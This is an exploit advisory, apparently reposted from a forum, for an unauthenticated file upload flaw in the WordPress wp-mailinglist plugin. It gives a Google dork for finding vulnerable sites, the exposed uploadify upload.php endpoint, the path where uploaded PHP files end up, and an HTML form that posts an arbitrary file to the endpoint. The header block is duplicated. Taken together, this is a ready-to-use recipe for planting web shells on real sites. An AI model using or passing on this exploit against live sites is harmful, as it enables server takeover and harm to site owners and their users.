#################################################################################
# Exploit Title: Wordpress plugins wp-mailinglist upload File Vulnerability | CSRF
# Author : sohaip-hackerDZ
# Google Dork : inurl:/wp-content/plugins/wp-mailinglist/
# Tested on : Linux
# data : 2017-05-21
# Blog : http://www.tools-hack.com/
#################################################################################
#
#
# if msg : No file data was posted An existing vulnerability
#
# [!] Exploit : 127.0.0.1/path/wp-content/plugins/wp-mailinglist/vendors/uploadify/upload.php
#
# [!] File Location : http:/127.0.0.1/path/wp-content/uploads/wp-mailinglist/FILE_NAME.php
#################################################################################
#CSRF:
#################################################################################
#################################################################################
# ABOUT
# Facebook : https://www.facebook.com/sohaipbarika
# forum : http://spyhackerz.com/forum/
# Blog : http://www.tools-hack.com/
#################################################################################
المصدر
https://cxsecurity.com/issue/WLB-2017050149
# Exploit Title: Wordpress plugins wp-mailinglist upload File Vulnerability | CSRF
# Author : sohaip-hackerDZ
# Google Dork : inurl:/wp-content/plugins/wp-mailinglist/
# Tested on : Linux
# data : 2017-05-21
# Blog : http://www.tools-hack.com/
#################################################################################
#
#
# if msg : No file data was posted An existing vulnerability
#
# [!] Exploit : 127.0.0.1/path/wp-content/plugins/wp-mailinglist/vendors/uploadify/upload.php
#
# [!] File Location : http:/127.0.0.1/path/wp-content/uploads/wp-mailinglist/FILE_NAME.php
#################################################################################
#CSRF:
#################################################################################
PHP:
<html>
<body>
<form action="127.0.0.1/path/wp-content/plugins/wp-mailinglist/vendors/uploadify/upload.php" method="POST" enctype="multipart/form-data">
<input type="file" name="upfile" />
<input type="submit" value="Submit" />
</form>
</body>
</html>#################################################################################
# ABOUT
# Facebook : https://www.facebook.com/sohaipbarika
# forum : http://spyhackerz.com/forum/
# Blog : http://www.tools-hack.com/
#################################################################################
المصدر
https://cxsecurity.com/issue/WLB-2017050149
